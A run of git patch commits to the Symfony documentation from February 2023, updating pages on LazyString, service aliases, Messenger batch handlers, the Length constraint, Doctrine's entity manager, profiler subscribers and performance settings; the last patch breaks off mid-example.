+-------------------
 
-Additionally to other types of strings presented above, the
-:class:`Symfony\\Component\\String\\LazyString` allows to store
-a string whose value is only generated when you need it. This is
-useful when the string needs a heavy computation to determine its value,
-like a hash for example. A lazy string can be declared like this::
+Sometimes, creating a string with the methods presented in the previous sections
+is not optimal. For example, consider a hash value that requires certain
+computation to obtain and which you might end up not using it.
+
+In those cases, it's better to use the :class:`Symfony\\Component\\String\\LazyString`
+class that allows to store a string whose value is only generated when you need it::
 
     use Symfony\Component\String\LazyString;
 
@@ -501,9 +502,8 @@ like a hash for example. A lazy string can be declared like this::
     });
 
 The callback will only be executed when the value of the lazy string is
-requested in the program execution.
-
-A lazy string can also be created from a ``Stringable`` object::
+requested during the program execution. You can also create lazy strings from a
+``Stringable`` object::
 
     class Hash implements \Stringable
     {

From 7fbb2829242e9b393f289d6261e3fa43fc2c5499 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Feb 2023 15:36:07 +0100
Subject: [PATCH 4297/7107] Remove the versionadded directive

---
 components/string.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 5f1de583630..2fdb608005c 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -497,11 +497,6 @@ requested during the program execution. You can also create lazy strings from a
     // hash computation only if it's needed
     $lazyHash = LazyString::fromStringable(new Hash());
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\String\\LazyString` class was introduced
-    in Symfony 5.1.
-
 Slugger
 -------
 

From f3c3168d260a9179b9c65f74dc39529b615ba6d2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Sat, 18 Feb 2023 19:19:22 +0100
Subject: [PATCH 4298/7107] [DependencyInjection] `AsAlias` attribute

---
 service_container/alias_private.rst | 37 +++++++++++++++++++++++++++++
 1 file changed, 37 insertions(+)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index f0309f552d7..d6d22c26e92 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -95,6 +95,20 @@ services.
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/Mail/PhpMailer.php
+        namespace App\Mail;
+
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsAlias;
+
+        #[AsAlias(id: 'app.mailer', public: true)]
+        class PhpMailer
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -139,6 +153,10 @@ services.
             $services->alias('app.mailer', PhpMailer::class);
         };
 
+.. versionadded:: 6.3
+
+    The ``#[AsAlias]`` attribute was introduced in Symfony 6.3.
+
 This means that when using the container directly, you can access the
 ``PhpMailer`` service by asking for the ``app.mailer`` service like this::
 
@@ -155,6 +173,25 @@ This means that when using the container directly, you can access the
             # ...
             app.mailer: '@App\Mail\PhpMailer'
 
+.. tip::
+
+    When using ``#[AsAlias]`` attribute, you may omit passing ``id`` argument
+    if the class implements exactly one interface. ``MailerInterface`` will be
+    alias of ``PhpMailer``::
+
+        // src/Mail/PhpMailer.php
+        namespace App\Mail;
+
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsAlias;
+        use Symfony\Component\Mailer\MailerInterface;
+
+        #[AsAlias]
+        class PhpMailer implements MailerInterface
+        {
+            // ...
+        }
+
 Deprecating Service Aliases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 537f91d443fd78cc73805f21988d4142b1f345a5 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 21 Feb 2023 09:37:52 +0100
Subject: [PATCH 4299/7107] [Messenger] Remove versionadded about 5.4

---
 messenger.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index ddfa4c478eb..7045ddf8a48 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2188,12 +2188,6 @@ provided in order to ease the declaration of these special handlers::
     By default, pending batches are flushed when the worker is idle as well
     as when it is stopped.
 
-.. versionadded:: 5.4
-
-    :class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerInterface` and
-    :class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait` were
-    introduced in Symfony 5.4.
-
 Extending Messenger
 -------------------
 

From e8cc35dd010c97c3208c20812f8ab04a214bda45 Mon Sep 17 00:00:00 2001
From: Florimond Manca <florimond.manca@protonmail.com>
Date: Wed, 25 Jan 2023 17:52:22 +0100
Subject: [PATCH 4300/7107] Update "Web debug toolbar" profiler docs

Update profiler.rst
---
 profiler.rst | 34 +++++++++++++++++++++++-----------
 1 file changed, 23 insertions(+), 11 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index 7b5a3373ffa..42428d54b48 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -193,23 +193,35 @@ production. To do that, create an :doc:`event subscriber </event_dispatcher>`
 and listen to the :ref:`kernel.response <component-http-kernel-kernel-response>`
 event::
 
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\HttpKernel\Event\ResponseEvent;
+    use Symfony\Component\HttpKernel\KernelInterface;
 
     // ...
-
-    public function onKernelResponse(ResponseEvent $event)
-    {
-        if (!$event->getKernel()->isDebug()) {
-            return;
+    
+    class MySubscriber implements EventSubscriberInterface {
+        public function __construct(
+            private KernelInterface $kernel,
+        ) {
         }
+        
+        // ...
 
-        $request = $event->getRequest();
-        if (!$request->isXmlHttpRequest()) {
-            return;
-        }
+        public function onKernelResponse(ResponseEvent $event)
+        {
+            if (!$this->kernel->isDebug()) {
+                return;
+            }
 
-        $response = $event->getResponse();
-        $response->headers->set('Symfony-Debug-Toolbar-Replace', 1);
+            $request = $event->getRequest();
+            if (!$request->isXmlHttpRequest()) {
+                return;
+            }
+
+            $response = $event->getResponse();
+            $response->headers->set('Symfony-Debug-Toolbar-Replace', 1);
+        }
     }
 
 .. index::

From 3e633c40ddb83314b040a9b92bdf3298d2cbc83c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 21 Feb 2023 13:56:34 +0100
Subject: [PATCH 4301/7107] [Messenger] Allow to define batch size when using
 `BatchHandlerTrait` with `getBatchSize()`

---
 messenger.rst | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 05427ac651e..367c0e1951e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2173,14 +2173,26 @@ provided in order to ease the declaration of these special handlers::
             }
         }
 
-        // Optionally, you can redefine the `shouldFlush()` method
-        // of the trait to define your own batch size
+        // Optionally, you can either redefine the `shouldFlush()` method
+        // of the trait to define your own batch size...
         private function shouldFlush(): bool
         {
             return 100 <= \count($this->jobs);
         }
+
+        // ... or redefine the `getBatchSize()` method if the default
+        // flush behavior suits your needs
+        private function getBatchSize(): int
+        {
+            return 100;
+        }
     }
 
+.. versionadded:: 6.3
+
+    The :method:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait::getBatchSize`
+    method was introduced 6.3.
+
 .. note::
 
     When the ``$ack`` argument of ``__invoke()`` is ``null``, the message is

From 86077b9633a33e5fdb20fb11419f98ef1fb588c8 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 21 Feb 2023 14:19:22 +0100
Subject: [PATCH 4302/7107] [Validator] Add missing backquotes

---
 reference/constraints/Length.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 26e93359729..3a197426975 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -163,8 +163,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-exactly
-~~~~~~~
+``exactly``
+~~~~~~~~~~~
 
 **type**: ``integer``
 
@@ -182,8 +182,8 @@ the given value's length is not **exactly** equal to this value.
 
     The named argument ``exactly`` was introduced in Symfony 5.2.
 
-exactMessage
-~~~~~~~~~~~~
+``exactMessage``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should have exactly {{ limit }} characters.``
 

From 7b27adeb70f8f005cadbd908f5a90033e51d6714 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Tue, 21 Feb 2023 14:29:45 +0100
Subject: [PATCH 4303/7107] [Mercure] Remove outdated authorization section

---
 mercure.rst | 9 ++-------
 1 file changed, 2 insertions(+), 7 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index a5c2823df5b..f6dfc33c90a 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -193,16 +193,11 @@ MercureBundle provides a more advanced configuration:
 
         {
             "mercure": {
-                "publish": []
+                "publish": ["*"]
             }
         }
 
-    Because the array is empty, the Symfony app will only be authorized to publish
-    public updates (see the authorization_ section for further information).
-
-    The jwt.io website is a convenient way to create and sign JWTs.
-    Checkout this `example JWT`_, that grants publishing rights for all *topics*
-    (notice the star in the array).
+    The jwt.io website is a convenient way to create and sign JWTs, checkout this `example JWT`_.
     Don't forget to set your secret key properly in the bottom of the right panel of the form!
 
 Basic Usage

From ce4b915961ed90eb85b03a171c92588467d788b3 Mon Sep 17 00:00:00 2001
From: spackmat <gregor@der-meyer.de>
Date: Tue, 21 Feb 2023 15:56:38 +0100
Subject: [PATCH 4304/7107] [Validator] Implement countUnit option for Length
 constraint

Resolves https://github.com/symfony/symfony-docs/issues/17945
---
 reference/constraints/Length.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 89e8b02547d..b00ba485ee0 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -123,6 +123,29 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
+``countUnit``
+~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``Length::COUNT_CODEPOINTS``
+
+The character count unit to use for the length check. By default :phpfunction:`mb_strlen`
+is used, which counts Unicode code points.
+
+Can be one of the following constants of the
+:class:`Symfony\\Component\\Validator\\Constraints\\Length` class:
+
+* ``COUNT_BYTES``: Uses :phpfunction:`strlen` counting the length of the string in bytes.
+* ``COUNT_CODEPOINTS``: Uses :phpfunction:`mb_strlen` counting the length of the string in Unicode
+  code points. This was the sole behavior until Symfony 6.2 and is the default since Symfony 6.3.
+  Simple (multibyte) Unicode characters count as 1 character, while for example ZWJ sequences of
+  composed emojis count as multiple characters.
+* ``COUNT_GRAPHEMES``: Uses :phpfunction:`grapheme_strlen` counting the length of the string in
+  graphemes, i.e. even emojis and ZWJ sequences of composed emojis count as 1 character.
+
+.. versionadded:: 6.3
+
+    The ``countUnit`` option was introduced in Symfony 6.3.
+
 ``exactly``
 ~~~~~~~~~~~
 

From 80ba3fb94406aa251681ab2159874f177c604dd4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 21 Feb 2023 14:01:02 +0100
Subject: [PATCH 4305/7107] [DependencyInjection] Allow trimming service
 parameters value in XML configuration files

---
 configuration.rst | 17 +++++++++++++++--
 1 file changed, 15 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index e7fa6416ab8..ee8b95a367b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -272,8 +272,8 @@ reusable configuration value. By convention, parameters are defined under the
 
 .. caution::
 
-    When using XML configuration, the values between ``<parameter>`` tags are
-    not trimmed. This means that the value of the following parameter will be
+    By default and when using XML configuration, the values between ``<parameter>``
+    tags are not trimmed. This means that the value of the following parameter will be
     ``'\n    something@example.com\n'``:
 
     .. code-block:: xml
@@ -282,10 +282,23 @@ reusable configuration value. By convention, parameters are defined under the
             something@example.com
         </parameter>
 
+    If you want to trim the value of your parameter, use the ``trim`` attribute.
+    When using it, the value of the following parameter will be ``something@example.com``:
+
+    .. code-block:: xml
+
+        <parameter key="app.admin_email" trim="true">
+            something@example.com
+        </parameter>
+
 .. versionadded:: 6.2
 
     Passing an enum case as a service parameter was introduced in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    The ``trim`` attribute was intrduced in Symfony 6.3.
+
 Once defined, you can reference this parameter value from any other
 configuration file using a special syntax: wrap the parameter name in two ``%``
 (e.g. ``%app.admin_email%``):

From 6e2e2f79ce2b89a2f139df0ee06feb435d75bc39 Mon Sep 17 00:00:00 2001
From: Gregor Nathanael Meyer <Gregor@der-meyer.de>
Date: Tue, 21 Feb 2023 16:23:44 +0100
Subject: [PATCH 4306/7107] Update reference/constraints/Length.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 reference/constraints/Length.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index b00ba485ee0..7ed54ea3289 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -124,7 +124,7 @@ Parameter          Description
 =================  ============================================================
 
 ``countUnit``
-~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Length::COUNT_CODEPOINTS``
 

From 6c97ce47efbd36c0d2089769a55f671ca733181b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Feb 2023 16:50:00 +0100
Subject: [PATCH 4307/7107] Reword

---
 console/input.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/console/input.rst b/console/input.rst
index 69304b7551a..db1e1fcb2b8 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -396,11 +396,11 @@ to help you unit test the completion logic::
             $suggestions = $tester->complete(['']);
             $this->assertSame(['Fabien', 'Fabrice', 'Wouter'], $suggestions);
 
-            // complete the input with "Fa" as input
-            // note that the list does not reduce because the completion tester doesn't run any shell, 
-            // it only tests the PHP part of the completion logic, so it should always include all values
+            // If you filter the values inside your own code (not recommended, unless you
+            // need to improve performance of e.g. a database query), you can test this
+            // by passing the user input
             $suggestions = $tester->complete(['Fa']);
-            $this->assertSame(['Fabien', 'Fabrice', 'Wouter'], $suggestions);
+            $this->assertSame(['Fabien', 'Fabrice'], $suggestions);
         }
     }
 

From d0ecbbc7c940ae22ee86832661c231d53f689c0c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Feb 2023 17:14:17 +0100
Subject: [PATCH 4308/7107] Minor tweak

---
 profiler.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index 42428d54b48..e889ba527b8 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -200,10 +200,10 @@ event::
 
     // ...
     
-    class MySubscriber implements EventSubscriberInterface {
-        public function __construct(
-            private KernelInterface $kernel,
-        ) {
+    class MySubscriber implements EventSubscriberInterface
+    {
+        public function __construct(private KernelInterface $kernel)
+        {
         }
         
         // ...

From 74ee5c74f2a037bc5b40f8ad49f895b17c65c6e9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Feb 2023 17:29:21 +0100
Subject: [PATCH 4309/7107] Tweak

---
 service_container.rst | 16 ++++++----------
 1 file changed, 6 insertions(+), 10 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 1757dcf7a8c..7c7d6dbef75 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1284,17 +1284,13 @@ When using PHP closures to configure your services, it is possible to automatica
 inject the current environment value by adding a string argument named ``$env`` to
 the closure::
 
-.. configuration-block::
-
-    .. code-block:: php
+    // config/packages/my_config.php
+    namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        // config/packages/my_config.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator, string $env) {
-            // `$env` is automatically filled in, you can configure your
-            // services depending on which environment you're on
-        };
+    return function(ContainerConfigurator $configurator, string $env) {
+        // `$env` is automatically filled in, so you can configure your
+        // services depending on which environment you're on
+    };
 
 Learn more
 ----------

From a8770de8f360555467e668a24e511b034c0839f2 Mon Sep 17 00:00:00 2001
From: Sergey Rabochiy <upyx.00@gmail.com>
Date: Sat, 17 Dec 2022 01:49:09 +0700
Subject: [PATCH 4310/7107] [DependencyInjection] Remove not implemented
 behavior

---
 service_container/service_subscribers_locators.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 2630db0977d..e60cb8686b0 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -309,8 +309,6 @@ or directly via PHP attributes:
                     <argument type="service_locator">
                         <argument key="App\FooCommand" type="service" id="app.command_handler.foo"/>
                         <argument key="App\BarCommand" type="service" id="app.command_handler.bar"/>
-                        <!-- if the element has no key, the ID of the original service is used -->
-                        <argument type="service" id="app.command_handler.baz"/>
                     </argument>
                 </service>
             </services>
@@ -331,8 +329,6 @@ or directly via PHP attributes:
                     // In versions earlier to Symfony 5.1 the service() function was called ref()
                     'App\FooCommand' => service('app.command_handler.foo'),
                     'App\BarCommand' => service('app.command_handler.bar'),
-                    // if the element has no key, the ID of the original service is used
-                    service('app.command_handler.baz'),
                 ])]);
         };
 

From 1405de3086b002bc5dc4b3de3039a2dca4783e02 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andreas=20Sch=C3=B6nefeldt?=
 <1157580+Andreas-Schoenefeldt@users.noreply.github.com>
Date: Wed, 7 Dec 2022 17:45:19 +0100
Subject: [PATCH 4311/7107] clarify that Bundle and AbstractBundle are
 different

Please see https://stackoverflow.com/questions/74704768/invalidconfigurationexception-with-custom-bundle-in-symfony6-2 for the details.
---
 bundles/configuration.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 50b68705698..6d7754d63ae 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -319,13 +319,17 @@ In your extension, you can load this and dynamically set its arguments::
             // ... now use the flat $config array
         }
 
-Using the Bundle Class
-----------------------
+Using the AbstractBundle Class
+------------------------------
 
 .. versionadded:: 6.1
 
     The ``AbstractBundle`` class was introduced in Symfony 6.1.
 
+.. caution::
+
+    This is an alternative implementation to the above mentioned Bundle class. You can use one of these approaches but not both at the same time.
+
 Instead of creating an extension and configuration class, you can also
 extend :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to
 add this logic to the bundle class directly::

From bead3d788af4841c319fa624b7f4e7273982614d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Feb 2023 17:59:34 +0100
Subject: [PATCH 4312/7107] Tweaks

---
 bundles/configuration.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 6d7754d63ae..ce855e8b792 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -319,6 +319,8 @@ In your extension, you can load this and dynamically set its arguments::
             // ... now use the flat $config array
         }
 
+.. _using-the-bundle-class:
+
 Using the AbstractBundle Class
 ------------------------------
 
@@ -326,13 +328,10 @@ Using the AbstractBundle Class
 
     The ``AbstractBundle`` class was introduced in Symfony 6.1.
 
-.. caution::
-
-    This is an alternative implementation to the above mentioned Bundle class. You can use one of these approaches but not both at the same time.
-
-Instead of creating an extension and configuration class, you can also
-extend :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to
-add this logic to the bundle class directly::
+As an alternative, instead of creating an extension and configuration class as
+shown in the previous section, you can also extend
+:class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to add this
+logic to the bundle class directly::
 
     // src/AcmeSocialBundle.php
     namespace Acme\SocialBundle;

From 7341fb503e78187615a61ec24fd0a51e6e99179f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 21 Feb 2023 19:34:18 +0100
Subject: [PATCH 4313/7107] [FrameworkBundle] Add
 `framework.http_cache.skip_response_headers` option

---
 reference/configuration/framework.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 97f4a1a8e26..9284771c1cf 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -119,6 +119,18 @@ Set of request headers that trigger "private" cache-control behavior on response
 that don't explicitly state whether the response is public or private via a
 Cache-Control directive. (default: Authorization and Cookie)
 
+skip_response_headers
+.....................
+
+**type**: ``array`` **default**: ``Set-Cookie``
+
+Set of response headers that will never be cached even when the response is cacheable
+and public.
+
+.. versionadded:: 6.3
+
+    The ``skip_response_headers`` option was introduced in Symfony 6.3.
+
 allow_reload
 ............
 

From 8978cd800d3eebc815313ac48af2315de8fce606 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 22 Feb 2023 09:06:23 +0100
Subject: [PATCH 4314/7107] Fix build

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 7c7d6dbef75..887c2b46bf2 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1287,7 +1287,7 @@ the closure::
     // config/packages/my_config.php
     namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-    return function(ContainerConfigurator $configurator, string $env) {
+    return function(ContainerConfigurator $containerConfigurator, string $env) {
         // `$env` is automatically filled in, so you can configure your
         // services depending on which environment you're on
     };

From 4ba2bcc4578380c2ea86e1a14c9f264674a82ee4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Feb 2023 20:35:54 +0100
Subject: [PATCH 4315/7107] [DependencyInjection] Autoconfigurable attributes

---
 service_container/tags.rst | 48 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 0097d059c76..d948dde300b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -175,6 +175,54 @@ In a Symfony bundle, call this method in the ``load()`` method of the
         }
     }
 
+Autoconfiguration registering is not limited to interfaces. It is possible
+to use PHP 8 attributes to autoconfigure services by using the
+:method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
+method::
+
+    // src/Attribute/SensitiveElement.php
+    namespace App\Attribute;
+
+    #[\Attribute(\Attribute::TARGET_CLASS)]
+    class SensitiveElement
+    {
+        private string $token;
+
+        public function __construct(string $token)
+        {
+            $this->token = $token;
+        }
+
+        public function getToken(): string
+        {
+            return $this->token;
+        }
+    }
+
+    // src/Kernel.php
+    use App\Attribute\SensitiveElement;
+
+    class Kernel extends BaseKernel
+    {
+        // ...
+
+        protected function build(ContainerBuilder $containerBuilder): void
+        {
+            // ...
+
+            $containerBuilder->registerAttributeForAutoconfiguration(SensitiveElement::class, static function (ChildDefinition $definition, SensitiveElement $attribute, \ReflectionClass $reflector): void {
+                // Apply the 'app.sensitive_element' tag to all classes with SensitiveElement
+                // attribute, and attach the token value to the tag
+                $definition->addTag('app.sensitive_element', ['token' => $attribute->getToken()]);
+            });
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
+    method was introduced in Symfony 5.3.
+
 Creating custom Tags
 --------------------
 

From ad55b0df0aab860a0a3b9ec55362c7c7266ca590 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Feb 2023 15:20:16 +0100
Subject: [PATCH 4316/7107] Typo

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index ee8b95a367b..7b5a41f13b8 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -297,7 +297,7 @@ reusable configuration value. By convention, parameters are defined under the
 
 .. versionadded:: 6.3
 
-    The ``trim`` attribute was intrduced in Symfony 6.3.
+    The ``trim`` attribute was introduced in Symfony 6.3.
 
 Once defined, you can reference this parameter value from any other
 configuration file using a special syntax: wrap the parameter name in two ``%``

From 1d6580bf2e63ef6ccb9b6a55fc1a9d7b15ae9679 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Wed, 22 Feb 2023 23:24:52 +0100
Subject: [PATCH 4317/7107] update some doctrine documentation

---
 doctrine.rst | 34 +++++++++++++++-------------------
 1 file changed, 15 insertions(+), 19 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 398bfae09b6..2879ca54332 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -278,12 +278,13 @@ methods:
 
       // src/Entity/Product.php
       // ...
+    +  use Doctrine\DBAL\Types\Types;
 
       class Product
       {
           // ...
 
-    +     #[ORM\Column(type: 'text')]
+    +     #[ORM\Column(type: Types::TEXT)]
     +     private $description;
 
           // getDescription() & setDescription() were also added
@@ -350,17 +351,15 @@ and save it::
 
     // ...
     use App\Entity\Product;
-    use Doctrine\Persistence\ManagerRegistry;
+    use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController extends AbstractController
     {
         #[Route('/product', name: 'create_product')]
-        public function createProduct(ManagerRegistry $doctrine): Response
+        public function createProduct(EntityManagerInterface $entityManager): Response
         {
-            $entityManager = $doctrine->getManager();
-
             $product = new Product();
             $product->setName('Keyboard');
             $product->setPrice(1999);
@@ -394,13 +393,10 @@ Take a look at the previous example in more detail:
 
 .. _doctrine-entity-manager:
 
-* **line 13** The ``ManagerRegistry $doctrine`` argument tells Symfony to
-  :ref:`inject the Doctrine service <services-constructor-injection>` into the
-  controller method.
-
-* **line 15** The ``$doctrine->getManager()`` method gets Doctrine's
-  *entity manager* object, which is the most important object in Doctrine. It's
-  responsible for saving objects to, and fetching objects from, the database.
+* **line 13** The ``EntityManagerInterface $entityManager`` argument tells Symfony 
+  to :ref:`inject the Entity Manager service <services-constructor-injection>` into 
+  the controller method. This object is responsible for saving objects to, and
+  fetching objects from, the database.
 
 * **lines 17-20** In this section, you instantiate and work with the ``$product``
   object like any other normal PHP object.
@@ -499,6 +495,7 @@ be able to go to ``/product/1`` to see your new product::
     namespace App\Controller;
 
     use App\Entity\Product;
+    use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
     // ...
@@ -506,9 +503,9 @@ be able to go to ``/product/1`` to see your new product::
     class ProductController extends AbstractController
     {
         #[Route('/product/{id}', name: 'product_show')]
-        public function show(ManagerRegistry $doctrine, int $id): Response
+        public function show(EntityManagerInterface $entityManager, int $id): Response
         {
-            $product = $doctrine->getRepository(Product::class)->find($id);
+            $product = $entityManager->getRepository(Product::class)->find($id);
 
             if (!$product) {
                 throw $this->createNotFoundException(
@@ -558,7 +555,7 @@ job is to help you fetch entities of a certain class.
 
 Once you have a repository object, you have many helper methods::
 
-    $repository = $doctrine->getRepository(Product::class);
+    $repository = $entityManager->getRepository(Product::class);
 
     // look for a single Product by its primary key (usually "id")
     $product = $repository->find($id);
@@ -826,9 +823,8 @@ with any PHP model::
     class ProductController extends AbstractController
     {
         #[Route('/product/edit/{id}', name: 'product_edit')]
-        public function update(ManagerRegistry $doctrine, int $id): Response
+        public function update(EntityManagerInterface $entityManager, int $id): Response
         {
-            $entityManager = $doctrine->getManager();
             $product = $entityManager->getRepository(Product::class)->find($id);
 
             if (!$product) {
@@ -877,7 +873,7 @@ You've already seen how the repository object allows you to run basic queries
 without any work::
 
     // from inside a controller
-    $repository = $doctrine->getRepository(Product::class);
+    $repository = $entityManager->getRepository(Product::class);
     $product = $repository->find($id);
 
 But what if you need a more complex query? When you generated your entity with
@@ -944,7 +940,7 @@ Now, you can call this method on the repository::
     // from inside a controller
     $minPrice = 1000;
 
-    $products = $doctrine->getRepository(Product::class)->findAllGreaterThanPrice($minPrice);
+    $products = $entityManager->getRepository(Product::class)->findAllGreaterThanPrice($minPrice);
 
     // ...
 

From 4c49b0ece18ce5d0ac5f93844c0b9433b71b7dff Mon Sep 17 00:00:00 2001
From: Ruud Kamphuis <ruudk@users.noreply.github.com>
Date: Wed, 22 Feb 2023 12:43:59 +0100
Subject: [PATCH 4318/7107] Disable dumping the container as XML in debug mode

Closes #17952
---
 performance.rst | 41 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 41 insertions(+)

diff --git a/performance.rst b/performance.rst
index 17c77d7c038..297a1bdec47 100644
--- a/performance.rst
+++ b/performance.rst
@@ -217,6 +217,47 @@ deployment process too):
   used in your application and prevents Composer from scanning the file system for
   classes that are not found in the class map. (see: `Composer's autoloader optimization`_).
 
+Disable Dumping the Container as XML in Debug Mode
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In debug mode, Symfony compiles the :doc:`service container </service_container>`
+into an XML file. This XML file is used by various commands such as
+``debug:container`` and ``debug:autowiring``. When the container grows larger and larger,
+so does the size of the file and the time to generate it. Sometimes the benefit of this
+file does not outweigh the decrease in performance.
+
+In these situations, you can disable dumping of the XML file by setting `debug.container.dump` to `false`:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        parameters:
+            # ...
